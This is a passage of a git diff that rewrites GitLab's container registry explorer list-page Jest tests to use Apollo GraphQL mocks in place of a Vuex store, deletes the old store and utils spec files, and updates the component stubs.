import { GlSkeletonLoader, GlSprintf, GlAlert, GlSearchBoxByClick } from '@gitlab/ui';
+import createMockApollo from 'jest/helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import Tracking from '~/tracking';
import component from '~/registry/explorer/pages/list.vue';
@@ -9,27 +11,35 @@ import ProjectEmptyState from '~/registry/explorer/components/list_page/project_
import RegistryHeader from '~/registry/explorer/components/list_page/registry_header.vue';
import ImageList from '~/registry/explorer/components/list_page/image_list.vue';
import TitleArea from '~/vue_shared/components/registry/title_area.vue';
-import { createStore } from '~/registry/explorer/stores/';
-import {
- SET_MAIN_LOADING,
- SET_IMAGES_LIST_SUCCESS,
- SET_PAGINATION,
- SET_INITIAL_STATE,
-} from '~/registry/explorer/stores/mutation_types';
+
import {
DELETE_IMAGE_SUCCESS_MESSAGE,
DELETE_IMAGE_ERROR_MESSAGE,
IMAGE_REPOSITORY_LIST_LABEL,
SEARCH_PLACEHOLDER_TEXT,
} from '~/registry/explorer/constants';
-import { imagesListResponse } from '../mock_data';
+
+import getProjectContainerRepositoriesQuery from '~/registry/explorer/graphql/queries/get_project_container_repositories.query.graphql';
+import getGroupContainerRepositoriesQuery from '~/registry/explorer/graphql/queries/get_group_container_repositories.query.graphql';
+import deleteContainerRepositoryMutation from '~/registry/explorer/graphql/mutations/delete_container_repository.mutation.graphql';
+
+import {
+ graphQLImageListMock,
+ graphQLImageDeleteMock,
+ deletedContainerRepository,
+ graphQLImageDeleteMockError,
+ graphQLEmptyImageListMock,
+ graphQLEmptyGroupImageListMock,
+ pageInfo,
+} from '../mock_data';
import { GlModal, GlEmptyState } from '../stubs';
import { $toast } from '../../shared/mocks';
+const localVue = createLocalVue();
+
describe('List Page', () => {
let wrapper;
- let dispatchSpy;
- let store;
+ let apolloProvider;
const findDeleteModal = () => wrapper.find(GlModal);
const findSkeletonLoader = () => wrapper.find(GlSkeletonLoader);
@@ -47,9 +57,31 @@ describe('List Page', () => {
const findSearchBox = () => wrapper.find(GlSearchBoxByClick);
const findEmptySearchMessage = () => wrapper.find('[data-testid="emptySearch"]');
- const mountComponent = ({ mocks } = {}) => {
+ const waitForApolloRequestRender = async () => {
+ await waitForPromises();
+ await wrapper.vm.$nextTick();
+ };
+
+ const mountComponent = ({
+ mocks,
+ resolver = jest.fn().mockResolvedValue(graphQLImageListMock),
+ groupResolver = jest.fn().mockResolvedValue(graphQLImageListMock),
+ mutationResolver = jest.fn().mockResolvedValue(graphQLImageDeleteMock),
+ config = {},
+ } = {}) => {
+ localVue.use(VueApollo);
+
+ const requestHandlers = [
+ [getProjectContainerRepositoriesQuery, resolver],
+ [getGroupContainerRepositoriesQuery, groupResolver],
+ [deleteContainerRepositoryMutation, mutationResolver],
+ ];
+
+ apolloProvider = createMockApollo(requestHandlers);
+
wrapper = shallowMount(component, {
- store,
+ localVue,
+ apolloProvider,
stubs: {
GlModal,
GlEmptyState,
@@ -64,42 +96,27 @@ describe('List Page', () => {
},
...mocks,
},
+ provide() {
+ return {
+ config,
+ };
+ },
});
};
- beforeEach(() => {
- store = createStore();
- dispatchSpy = jest.spyOn(store, 'dispatch');
- dispatchSpy.mockResolvedValue();
- store.commit(SET_IMAGES_LIST_SUCCESS, imagesListResponse.data);
- store.commit(SET_PAGINATION, imagesListResponse.headers);
- });
-
afterEach(() => {
wrapper.destroy();
});
- describe('API calls', () => {
- it.each`
- imageList | name | called
- ${[]} | ${'foo'} | ${['requestImagesList']}
- ${imagesListResponse.data} | ${undefined} | ${['requestImagesList']}
- ${imagesListResponse.data} | ${'foo'} | ${undefined}
- `(
- 'with images equal $imageList and name $name dispatch calls $called',
- ({ imageList, name, called }) => {
- store.commit(SET_IMAGES_LIST_SUCCESS, imageList);
- dispatchSpy.mockClear();
- mountComponent({ mocks: { $route: { name } } });
-
- expect(dispatchSpy.mock.calls[0]).toEqual(called);
- },
- );
- });
-
- it('contains registry header', () => {
+ it('contains registry header', async () => {
mountComponent();
+
+ await waitForApolloRequestRender();
+
expect(findRegistryHeader().exists()).toBe(true);
+ expect(findRegistryHeader().props()).toMatchObject({
+ imagesCount: 2,
+ });
});
describe('connection error', () => {
@@ -109,88 +126,100 @@ describe('List Page', () => {
helpPagePath: 'bar',
};
- beforeEach(() => {
- store.commit(SET_INITIAL_STATE, config);
- mountComponent();
- });
-
- afterEach(() => {
- store.commit(SET_INITIAL_STATE, {});
- });
-
it('should show an empty state', () => {
+ mountComponent({ config });
+
expect(findEmptyState().exists()).toBe(true);
});
it('empty state should have an svg-path', () => {
- expect(findEmptyState().attributes('svg-path')).toBe(config.containersErrorImage);
+ mountComponent({ config });
+
+ expect(findEmptyState().props('svgPath')).toBe(config.containersErrorImage);
});
it('empty state should have a description', () => {
- expect(findEmptyState().html()).toContain('connection error');
+ mountComponent({ config });
+
+ expect(findEmptyState().props('title')).toContain('connection error');
});
it('should not show the loading or default state', () => {
+ mountComponent({ config });
+
expect(findSkeletonLoader().exists()).toBe(false);
expect(findImageList().exists()).toBe(false);
});
});
describe('isLoading is true', () => {
- beforeEach(() => {
- store.commit(SET_MAIN_LOADING, true);
+ it('shows the skeleton loader', () => {
mountComponent();
- });
-
- afterEach(() => store.commit(SET_MAIN_LOADING, false));
- it('shows the skeleton loader', () => {
expect(findSkeletonLoader().exists()).toBe(true);
});
it('imagesList is not visible', () => {
+ mountComponent();
+
expect(findImageList().exists()).toBe(false);
});
it('cli commands is not visible', () => {
+ mountComponent();
+
expect(findCliCommands().exists()).toBe(false);
});
});
describe('list is empty', () => {
- beforeEach(() => {
- store.commit(SET_IMAGES_LIST_SUCCESS, []);
- mountComponent();
- return waitForPromises();
- });
+ describe('project page', () => {
+ const resolver = jest.fn().mockResolvedValue(graphQLEmptyImageListMock);
- it('cli commands is not visible', () => {
- expect(findCliCommands().exists()).toBe(false);
- });
+ it('cli commands is not visible', async () => {
+ mountComponent({ resolver });
- it('project empty state is visible', () => {
- expect(findProjectEmptyState().exists()).toBe(true);
- });
+ await waitForApolloRequestRender();
- describe('is group page is true', () => {
- beforeEach(() => {
- store.commit(SET_INITIAL_STATE, { isGroupPage: true });
- mountComponent();
+ expect(findCliCommands().exists()).toBe(false);
});
- afterEach(() => {
- store.commit(SET_INITIAL_STATE, { isGroupPage: undefined });
+ it('project empty state is visible', async () => {
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
+
+ expect(findProjectEmptyState().exists()).toBe(true);
});
+ });
+ describe('group page', () => {
+ const groupResolver = jest.fn().mockResolvedValue(graphQLEmptyGroupImageListMock);
+
+ const config = {
+ isGroupPage: true,
+ };
+
+ it('group empty state is visible', async () => {
+ mountComponent({ groupResolver, config });
+
+ await waitForApolloRequestRender();
- it('group empty state is visible', () => {
expect(findGroupEmptyState().exists()).toBe(true);
});
- it('cli commands is not visible', () => {
+ it('cli commands is not visible', async () => {
+ mountComponent({ groupResolver, config });
+
+ await waitForApolloRequestRender();
+
expect(findCliCommands().exists()).toBe(false);
});
- it('list header is not visible', () => {
+ it('list header is not visible', async () => {
+ mountComponent({ groupResolver, config });
+
+ await waitForApolloRequestRender();
+
expect(findListHeader().exists()).toBe(false);
});
});
@@ -198,55 +227,91 @@ describe('List Page', () => {
describe('list is not empty', () => {
describe('unfiltered state', () => {
- beforeEach(() => {
+ it('quick start is visible', async () => {
mountComponent();
- });
- it('quick start is visible', () => {
+ await waitForApolloRequestRender();
+
expect(findCliCommands().exists()).toBe(true);
});
- it('list component is visible', () => {
+ it('list component is visible', async () => {
+ mountComponent();
+
+ await waitForApolloRequestRender();
+
expect(findImageList().exists()).toBe(true);
});
- it('list header is visible', () => {
+ it('list header is visible', async () => {
+ mountComponent();
+
+ await waitForApolloRequestRender();
+
const header = findListHeader();
expect(header.exists()).toBe(true);
expect(header.text()).toBe(IMAGE_REPOSITORY_LIST_LABEL);
});
describe('delete image', () => {
- const itemToDelete = { path: 'bar' };
- it('should call deleteItem when confirming deletion', () => {
- dispatchSpy.mockResolvedValue();
- findImageList().vm.$emit('delete', itemToDelete);
- expect(wrapper.vm.itemToDelete).toEqual(itemToDelete);
+ const deleteImage = async () => {
+ await wrapper.vm.$nextTick();
+
+ findImageList().vm.$emit('delete', deletedContainerRepository);
findDeleteModal().vm.$emit('ok');
- expect(store.dispatch).toHaveBeenCalledWith(
- 'requestDeleteImage',
- wrapper.vm.itemToDelete,
+
+ await waitForApolloRequestRender();
+ };
+
+ it('should call deleteItem when confirming deletion', async () => {
+ const mutationResolver = jest.fn().mockResolvedValue(graphQLImageDeleteMock);
+ mountComponent({ mutationResolver });
+
+ await deleteImage();
+
+ expect(wrapper.vm.itemToDelete).toEqual(deletedContainerRepository);
+ expect(mutationResolver).toHaveBeenCalledWith({ id: deletedContainerRepository.id });
+
+ const updatedImage = findImageList()
+ .props('images')
+ .find(i => i.id === deletedContainerRepository.id);
+
+ expect(updatedImage.status).toBe(deletedContainerRepository.status);
+ });
+
+ it('should show a success alert when delete request is successful', async () => {
+ const mutationResolver = jest.fn().mockResolvedValue(graphQLImageDeleteMock);
+ mountComponent({ mutationResolver });
+
+ await deleteImage();
+
+ const alert = findDeleteAlert();
+ expect(alert.exists()).toBe(true);
+ expect(alert.text().replace(/\s\s+/gm, ' ')).toBe(
+ DELETE_IMAGE_SUCCESS_MESSAGE.replace('%{title}', wrapper.vm.itemToDelete.path),
);
});
- it('should show a success alert when delete request is successful', () => {
- dispatchSpy.mockResolvedValue();
- findImageList().vm.$emit('delete', itemToDelete);
- expect(wrapper.vm.itemToDelete).toEqual(itemToDelete);
- return wrapper.vm.handleDeleteImage().then(() => {
+ describe('when delete request fails it shows an alert', () => {
+ it('user recoverable error', async () => {
+ const mutationResolver = jest.fn().mockResolvedValue(graphQLImageDeleteMockError);
+ mountComponent({ mutationResolver });
+
+ await deleteImage();
+
const alert = findDeleteAlert();
expect(alert.exists()).toBe(true);
expect(alert.text().replace(/\s\s+/gm, ' ')).toBe(
- DELETE_IMAGE_SUCCESS_MESSAGE.replace('%{title}', wrapper.vm.itemToDelete.path),
+ DELETE_IMAGE_ERROR_MESSAGE.replace('%{title}', wrapper.vm.itemToDelete.path),
);
});
- });
- it('should show an error alert when delete request fails', () => {
- dispatchSpy.mockRejectedValue();
- findImageList().vm.$emit('delete', itemToDelete);
- expect(wrapper.vm.itemToDelete).toEqual(itemToDelete);
- return wrapper.vm.handleDeleteImage().then(() => {
+ it('network error', async () => {
+ const mutationResolver = jest.fn().mockRejectedValue();
+ mountComponent({ mutationResolver });
+
+ await deleteImage();
+
const alert = findDeleteAlert();
expect(alert.exists()).toBe(true);
expect(alert.text().replace(/\s\s+/gm, ' ')).toBe(
@@ -258,38 +323,68 @@ describe('List Page', () => {
});
describe('search', () => {
- it('has a search box element', () => {
+ const doSearch = async () => {
+ await waitForApolloRequestRender();
+ findSearchBox().vm.$emit('submit', 'centos6');
+ await wrapper.vm.$nextTick();
+ };
+
+ it('has a search box element', async () => {
mountComponent();
+
+ await waitForApolloRequestRender();
+
const searchBox = findSearchBox();
expect(searchBox.exists()).toBe(true);
expect(searchBox.attributes('placeholder')).toBe(SEARCH_PLACEHOLDER_TEXT);
});
- it('performs a search', () => {
- mountComponent();
- findSearchBox().vm.$emit('submit', 'foo');
- expect(store.dispatch).toHaveBeenCalledWith('requestImagesList', {
- name: 'foo',
- });
+ it('performs a search', async () => {
+ const resolver = jest.fn().mockResolvedValue(graphQLImageListMock);
+ mountComponent({ resolver });
+
+ await doSearch();
+
+ expect(resolver).toHaveBeenCalledWith(expect.objectContaining({ name: 'centos6' }));
});
- it('when search result is empty displays an empty search message', () => {
- mountComponent();
- store.commit(SET_IMAGES_LIST_SUCCESS, []);
- return wrapper.vm.$nextTick().then(() => {
- expect(findEmptySearchMessage().exists()).toBe(true);
- });
+ it('when search result is empty displays an empty search message', async () => {
+ const resolver = jest.fn().mockResolvedValue(graphQLImageListMock);
+ mountComponent({ resolver });
+
+ resolver.mockResolvedValue(graphQLEmptyImageListMock);
+
+ await doSearch();
+
+ expect(findEmptySearchMessage().exists()).toBe(true);
});
});
describe('pagination', () => {
- it('pageChange event triggers the appropriate store function', () => {
- mountComponent();
- findImageList().vm.$emit('pageChange', 2);
- expect(store.dispatch).toHaveBeenCalledWith('requestImagesList', {
- pagination: { page: 2 },
- name: wrapper.vm.search,
- });
+ it('prev-page event triggers a fetchMore request', async () => {
+ const resolver = jest.fn().mockResolvedValue(graphQLImageListMock);
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
+
+ findImageList().vm.$emit('prev-page');
+
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({ first: null, before: pageInfo.startCursor }),
+ );
+ });
+
+ it('next-page event triggers a fetchMore request', async () => {
+ const resolver = jest.fn().mockResolvedValue(graphQLImageListMock);
+ mountComponent({ resolver });
+
+ await waitForApolloRequestRender();
+
+ findImageList().vm.$emit('next-page');
+
+ expect(resolver).toHaveBeenCalledWith(
+ expect.objectContaining({ after: pageInfo.endCursor }),
+ );
});
});
});
@@ -324,11 +419,11 @@ describe('List Page', () => {
beforeEach(() => {
jest.spyOn(Tracking, 'event');
- dispatchSpy.mockResolvedValue();
});
it('send an event when delete button is clicked', () => {
findImageList().vm.$emit('delete', {});
+
testTrackingCall('click_button');
});
diff --git a/spec/frontend/registry/explorer/stores/actions_spec.js b/spec/frontend/registry/explorer/stores/actions_spec.js
deleted file mode 100644
index dcd4d8015a4..00000000000
--- a/spec/frontend/registry/explorer/stores/actions_spec.js
+++ /dev/null
@@ -1,362 +0,0 @@
-import MockAdapter from 'axios-mock-adapter';
-import testAction from 'helpers/vuex_action_helper';
-import { TEST_HOST } from 'helpers/test_constants';
-import createFlash from '~/flash';
-import Api from '~/api';
-import axios from '~/lib/utils/axios_utils';
-import * as actions from '~/registry/explorer/stores/actions';
-import * as types from '~/registry/explorer/stores/mutation_types';
-import { reposServerResponse, registryServerResponse } from '../mock_data';
-import * as utils from '~/registry/explorer/utils';
-import {
- FETCH_IMAGES_LIST_ERROR_MESSAGE,
- FETCH_TAGS_LIST_ERROR_MESSAGE,
- FETCH_IMAGE_DETAILS_ERROR_MESSAGE,
-} from '~/registry/explorer/constants/index';
-
-jest.mock('~/flash.js');
-jest.mock('~/registry/explorer/utils');
-
-describe('Actions RegistryExplorer Store', () => {
- let mock;
- const endpoint = `${TEST_HOST}/endpoint.json`;
-
- const url = `${endpoint}/1}`;
- jest.spyOn(utils, 'pathGenerator').mockReturnValue(url);
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- it('sets initial state', done => {
- const initialState = {
- config: {
- endpoint,
- },
- };
-
- testAction(
- actions.setInitialState,
- initialState,
- null,
- [{ type: types.SET_INITIAL_STATE, payload: initialState }],
- [],
- done,
- );
- });
-
- it('setShowGarbageCollectionTip', done => {
- testAction(
- actions.setShowGarbageCollectionTip,
- true,
- null,
- [{ type: types.SET_SHOW_GARBAGE_COLLECTION_TIP, payload: true }],
- [],
- done,
- );
- });
-
- describe('receives api responses', () => {
- const response = {
- data: [1, 2, 3],
- headers: {
- page: 1,
- perPage: 10,
- },
- };
-
- it('images list response', done => {
- testAction(
- actions.receiveImagesListSuccess,
- response,
- null,
- [
- { type: types.SET_IMAGES_LIST_SUCCESS, payload: response.data },
- { type: types.SET_PAGINATION, payload: response.headers },
- ],
- [],
- done,
- );
- });
-
- it('tags list response', done => {
- testAction(
- actions.receiveTagsListSuccess,
- response,
- null,
- [
- { type: types.SET_TAGS_LIST_SUCCESS, payload: response.data },
- { type: types.SET_TAGS_PAGINATION, payload: response.headers },
- ],
- [],
- done,
- );
- });
- });
-
- describe('fetch images list', () => {
- it('sets the imagesList and pagination', done => {
- mock.onGet(endpoint).replyOnce(200, reposServerResponse, {});
-
- testAction(
- actions.requestImagesList,
- {},
- {
- config: {
- endpoint,
- },
- },
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [{ type: 'receiveImagesListSuccess', payload: { data: reposServerResponse, headers: {} } }],
- done,
- );
- });
-
- it('should create flash on error', done => {
- testAction(
- actions.requestImagesList,
- {},
- {
- config: {
- endpoint: null,
- },
- },
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [],
- () => {
- expect(createFlash).toHaveBeenCalledWith({ message: FETCH_IMAGES_LIST_ERROR_MESSAGE });
- done();
- },
- );
- });
- });
-
- describe('fetch tags list', () => {
- it('sets the tagsList', done => {
- mock.onGet(url).replyOnce(200, registryServerResponse, {});
-
- testAction(
- actions.requestTagsList,
- {},
- {},
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [
- {
- type: 'receiveTagsListSuccess',
- payload: { data: registryServerResponse, headers: {} },
- },
- ],
- done,
- );
- });
-
- it('should create flash on error', done => {
- testAction(
- actions.requestTagsList,
- {},
- {},
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [],
- () => {
- expect(createFlash).toHaveBeenCalledWith({ message: FETCH_TAGS_LIST_ERROR_MESSAGE });
- done();
- },
- );
- });
- });
-
- describe('request delete single tag', () => {
- it('successfully performs the delete request', done => {
- const deletePath = 'delete/path';
- mock.onDelete(deletePath).replyOnce(200);
-
- testAction(
- actions.requestDeleteTag,
- {
- tag: {
- destroy_path: deletePath,
- },
- },
- {
- tagsPagination: {},
- },
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [
- {
- type: 'setShowGarbageCollectionTip',
- payload: true,
- },
- {
- type: 'requestTagsList',
- payload: {},
- },
- ],
- done,
- );
- });
-
- it('should turn off loading on error', done => {
- testAction(
- actions.requestDeleteTag,
- {
- tag: {
- destroy_path: null,
- },
- },
- {},
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [],
- ).catch(() => done());
- });
- });
-
- describe('requestImageDetailsAndTagsList', () => {
- it('sets the imageDetails and dispatch requestTagsList', done => {
- const resolvedValue = { foo: 'bar' };
- jest.spyOn(Api, 'containerRegistryDetails').mockResolvedValue({ data: resolvedValue });
-
- testAction(
- actions.requestImageDetailsAndTagsList,
- 1,
- {},
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_IMAGE_DETAILS, payload: resolvedValue },
- ],
- [
- {
- type: 'requestTagsList',
- },
- ],
- done,
- );
- });
-
- it('should create flash on error', done => {
- jest.spyOn(Api, 'containerRegistryDetails').mockRejectedValue();
- testAction(
- actions.requestImageDetailsAndTagsList,
- 1,
- {},
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [],
- () => {
- expect(createFlash).toHaveBeenCalledWith({ message: FETCH_IMAGE_DETAILS_ERROR_MESSAGE });
- done();
- },
- );
- });
- });
-
- describe('request delete multiple tags', () => {
- it('successfully performs the delete request', done => {
- mock.onDelete(url).replyOnce(200);
-
- testAction(
- actions.requestDeleteTags,
- {
- ids: [1, 2],
- },
- {
- tagsPagination: {},
- },
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [
- {
- type: 'setShowGarbageCollectionTip',
- payload: true,
- },
- {
- type: 'requestTagsList',
- payload: {},
- },
- ],
- done,
- );
- });
-
- it('should turn off loading on error', done => {
- mock.onDelete(url).replyOnce(500);
-
- testAction(
- actions.requestDeleteTags,
- {
- ids: [1, 2],
- },
- {
- tagsPagination: {},
- },
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [],
- ).catch(() => done());
- });
- });
-
- describe('request delete single image', () => {
- const image = {
- destroy_path: 'delete/path',
- };
-
- it('successfully performs the delete request', done => {
- mock.onDelete(image.destroy_path).replyOnce(200);
-
- testAction(
- actions.requestDeleteImage,
- image,
- {},
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.UPDATE_IMAGE, payload: { ...image, deleting: true } },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [],
- done,
- );
- });
-
- it('should turn off loading on error', done => {
- mock.onDelete(image.destroy_path).replyOnce(400);
- testAction(
- actions.requestDeleteImage,
- image,
- {},
- [
- { type: types.SET_MAIN_LOADING, payload: true },
- { type: types.SET_MAIN_LOADING, payload: false },
- ],
- [],
- ).catch(() => done());
- });
- });
-});
diff --git a/spec/frontend/registry/explorer/stores/getters_spec.js b/spec/frontend/registry/explorer/stores/getters_spec.js
deleted file mode 100644
index 4cab65d2bb0..00000000000
--- a/spec/frontend/registry/explorer/stores/getters_spec.js
+++ /dev/null
@@ -1,41 +0,0 @@
-import * as getters from '~/registry/explorer/stores/getters';
-
-describe('Getters RegistryExplorer store', () => {
- let state;
-
- describe.each`
- getter | prefix | configParameter | suffix
- ${'dockerBuildCommand'} | ${'docker build -t'} | ${'repositoryUrl'} | ${'.'}
- ${'dockerPushCommand'} | ${'docker push'} | ${'repositoryUrl'} | ${null}
- ${'dockerLoginCommand'} | ${'docker login'} | ${'registryHostUrlWithPort'} | ${null}
- `('$getter', ({ getter, prefix, configParameter, suffix }) => {
- beforeEach(() => {
- state = {
- config: { repositoryUrl: 'foo', registryHostUrlWithPort: 'bar' },
- };
- });
-
- it(`returns ${prefix} concatenated with ${configParameter} and optionally suffixed with ${suffix}`, () => {
- const expectedPieces = [prefix, state.config[configParameter], suffix].filter(p => p);
- expect(getters[getter](state)).toBe(expectedPieces.join(' '));
- });
- });
-
- describe('showGarbageCollection', () => {
- it.each`
- result | showGarbageCollectionTip | isAdmin
- ${true} | ${true} | ${true}
- ${false} | ${true} | ${false}
- ${false} | ${false} | ${true}
- `(
- 'return $result when showGarbageCollectionTip $showGarbageCollectionTip and isAdmin is $isAdmin',
- ({ result, showGarbageCollectionTip, isAdmin }) => {
- state = {
- config: { isAdmin },
- showGarbageCollectionTip,
- };
- expect(getters.showGarbageCollection(state)).toBe(result);
- },
- );
- });
-});
diff --git a/spec/frontend/registry/explorer/stores/mutations_spec.js b/spec/frontend/registry/explorer/stores/mutations_spec.js
deleted file mode 100644
index 1908d3f0350..00000000000
--- a/spec/frontend/registry/explorer/stores/mutations_spec.js
+++ /dev/null
@@ -1,133 +0,0 @@
-import mutations from '~/registry/explorer/stores/mutations';
-import * as types from '~/registry/explorer/stores/mutation_types';
-
-describe('Mutations Registry Explorer Store', () => {
- let mockState;
-
- beforeEach(() => {
- mockState = {};
- });
-
- describe('SET_INITIAL_STATE', () => {
- it('should set the initial state', () => {
- const payload = {
- endpoint: 'foo',
- isGroupPage: '',
- expirationPolicy: { foo: 'bar' },
- isAdmin: '',
- };
- const expectedState = {
- ...mockState,
- config: { ...payload, isGroupPage: false, isAdmin: false },
- };
- mutations[types.SET_INITIAL_STATE](mockState, {
- ...payload,
- expirationPolicy: JSON.stringify(payload.expirationPolicy),
- });
-
- expect(mockState).toEqual(expectedState);
- });
- });
-
- describe('SET_IMAGES_LIST_SUCCESS', () => {
- it('should set the images list', () => {
- const images = [{ name: 'foo' }, { name: 'bar' }];
- const defaultStatus = { deleting: false, failedDelete: false };
- const expectedState = {
- ...mockState,
- images: [{ name: 'foo', ...defaultStatus }, { name: 'bar', ...defaultStatus }],
- };
- mutations[types.SET_IMAGES_LIST_SUCCESS](mockState, images);
-
- expect(mockState).toEqual(expectedState);
- });
- });
-
- describe('UPDATE_IMAGE', () => {
- it('should update an image', () => {
- mockState.images = [{ id: 1, name: 'foo' }, { id: 2, name: 'bar' }];
- const payload = { id: 1, name: 'baz' };
- const expectedState = {
- ...mockState,
- images: [payload, { id: 2, name: 'bar' }],
- };
- mutations[types.UPDATE_IMAGE](mockState, payload);
-
- expect(mockState).toEqual(expectedState);
- });
- });
-
- describe('SET_TAGS_LIST_SUCCESS', () => {
- it('should set the tags list', () => {
- const tags = [1, 2, 3];
- const expectedState = { ...mockState, tags };
- mutations[types.SET_TAGS_LIST_SUCCESS](mockState, tags);
-
- expect(mockState).toEqual(expectedState);
- });
- });
-
- describe('SET_MAIN_LOADING', () => {
- it('should set the isLoading', () => {
- const expectedState = { ...mockState, isLoading: true };
- mutations[types.SET_MAIN_LOADING](mockState, true);
-
- expect(mockState).toEqual(expectedState);
- });
- });
-
- describe('SET_SHOW_GARBAGE_COLLECTION_TIP', () => {
- it('should set the showGarbageCollectionTip', () => {
- const expectedState = { ...mockState, showGarbageCollectionTip: true };
- mutations[types.SET_SHOW_GARBAGE_COLLECTION_TIP](mockState, true);
-
- expect(mockState).toEqual(expectedState);
- });
- });
-
- describe('SET_PAGINATION', () => {
- const generatePagination = () => [
- {
- 'X-PAGE': '1',
- 'X-PER-PAGE': '20',
- 'X-TOTAL': '100',
- 'X-TOTAL-PAGES': '5',
- 'X-NEXT-PAGE': '2',
- 'X-PREV-PAGE': '0',
- },
- {
- page: 1,
- perPage: 20,
- total: 100,
- totalPages: 5,
- nextPage: 2,
- previousPage: 0,
- },
- ];
-
- it('should set the images pagination', () => {
- const [headers, expectedResult] = generatePagination();
- const expectedState = { ...mockState, pagination: expectedResult };
- mutations[types.SET_PAGINATION](mockState, headers);
-
- expect(mockState).toEqual(expectedState);
- });
-
- it('should set the tags pagination', () => {
- const [headers, expectedResult] = generatePagination();
- const expectedState = { ...mockState, tagsPagination: expectedResult };
- mutations[types.SET_TAGS_PAGINATION](mockState, headers);
-
- expect(mockState).toEqual(expectedState);
- });
- });
-
- describe('SET_IMAGE_DETAILS', () => {
- it('should set imageDetails', () => {
- const expectedState = { ...mockState, imageDetails: { foo: 'bar' } };
- mutations[types.SET_IMAGE_DETAILS](mockState, { foo: 'bar' });
-
- expect(mockState).toEqual(expectedState);
- });
- });
-});
diff --git a/spec/frontend/registry/explorer/stubs.js b/spec/frontend/registry/explorer/stubs.js
index b6c0ee67757..d6fba863ee0 100644
--- a/spec/frontend/registry/explorer/stubs.js
+++ b/spec/frontend/registry/explorer/stubs.js
@@ -1,35 +1,33 @@
+import {
+ GlModal as RealGlModal,
+ GlEmptyState as RealGlEmptyState,
+ GlSkeletonLoader as RealGlSkeletonLoader,
+} from '@gitlab/ui';
+import { RouterLinkStub } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
import RealDeleteModal from '~/registry/explorer/components/details_page/delete_modal.vue';
import RealListItem from '~/vue_shared/components/registry/list_item.vue';
-export const GlModal = {
+export const GlModal = stubComponent(RealGlModal, {
template: '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-ok"></slot></div>',
methods: {
show: jest.fn(),
},
-};
+});
-export const GlEmptyState = {
+export const GlEmptyState = stubComponent(RealGlEmptyState, {
template: '<div><slot name="description"></slot></div>',
- name: 'GlEmptyStateSTub',
-};
+});
-export const RouterLink = {
- template: `<div><slot></slot></div>`,
- props: ['to'],
-};
+export const RouterLink = RouterLinkStub;
-export const DeleteModal = {
- template: '<div></div>',
+export const DeleteModal = stubComponent(RealDeleteModal, {
methods: {
show: jest.fn(),
},
- props: RealDeleteModal.props,
-};
+});
-export const GlSkeletonLoader = {
- template: `<div><slot></slot></div>`,
- props: ['width', 'height'],
-};
+export const GlSkeletonLoader = stubComponent(RealGlSkeletonLoader);
export const ListItem = {
...RealListItem,
diff --git a/spec/frontend/registry/explorer/utils_spec.js b/spec/frontend/registry/explorer/utils_spec.js
deleted file mode 100644
index 7a5d6958a09..00000000000
--- a/spec/frontend/registry/explorer/utils_spec.js
+++ /dev/null
@@ -1,56 +0,0 @@
-import { pathGenerator } from '~/registry/explorer/utils';
-
-describe('Utils', () => {
- describe('pathGenerator', () => {
- const imageDetails = {
- path: 'foo/bar/baz',
- name: 'baz',
- id: 1,
- };
-
- beforeEach(() => {
- window.gon.relative_url_root = null;
- });
-
- it('returns the fetch url when no ending is passed', () => {
- expect(pathGenerator(imageDetails)).toBe('/foo/bar/registry/repository/1/tags?format=json');
- });
-
- it('returns the url with an ending when is passed', () => {
- expect(pathGenerator(imageDetails, '/foo')).toBe('/foo/bar/registry/repository/1/tags/foo');
- });
-
- describe.each`
- path | name | result
- ${'foo/foo'} | ${''} | ${'/foo/foo/registry/repository/1/tags?format=json'}
- ${'foo/foo/foo'} | ${'foo'} | ${'/foo/foo/registry/repository/1/tags?format=json'}
- ${'baz/foo/foo/foo'} | ${'foo'} | ${'/baz/foo/foo/registry/repository/1/tags?format=json'}
- ${'baz/foo/foo/foo'} | ${'foo'} | ${'/baz/foo/foo/registry/repository/1/tags?format=json'}
- ${'foo/foo/baz/foo/foo'} | ${'foo/foo'} | ${'/foo/foo/baz/registry/repository/1/tags?format=json'}
- ${'foo/foo/baz/foo/bar'} | ${'foo/bar'} | ${'/foo/foo/baz/registry/repository/1/tags?format=json'}
- ${'baz/foo/foo'} | ${'foo'} | ${'/baz/foo/registry/repository/1/tags?format=json'}
- ${'baz/foo/bar'} | ${'foo'} | ${'/baz/foo/bar/registry/repository/1/tags?format=json'}
- `('when path is $path and name is $name', ({ name, path, result }) => {
- it('returns the correct value', () => {
- expect(pathGenerator({ id: 1, name, path })).toBe(result);
- });
-
- it('produces a correct relative url', () => {
- window.gon.relative_url_root = '/gitlab';
- expect(pathGenerator({ id: 1, name, path })).toBe(`/gitlab${result}`);
- });
- });
-
- it('returns the url unchanged when imageDetails have no name', () => {
- const imageDetailsWithoutName = {
- path: 'foo/bar/baz',
- name: '',
- id: 1,
- };
-
- expect(pathGenerator(imageDetailsWithoutName)).toBe(
- '/foo/bar/baz/registry/repository/1/tags?format=json',
- );
- });
- });
-});
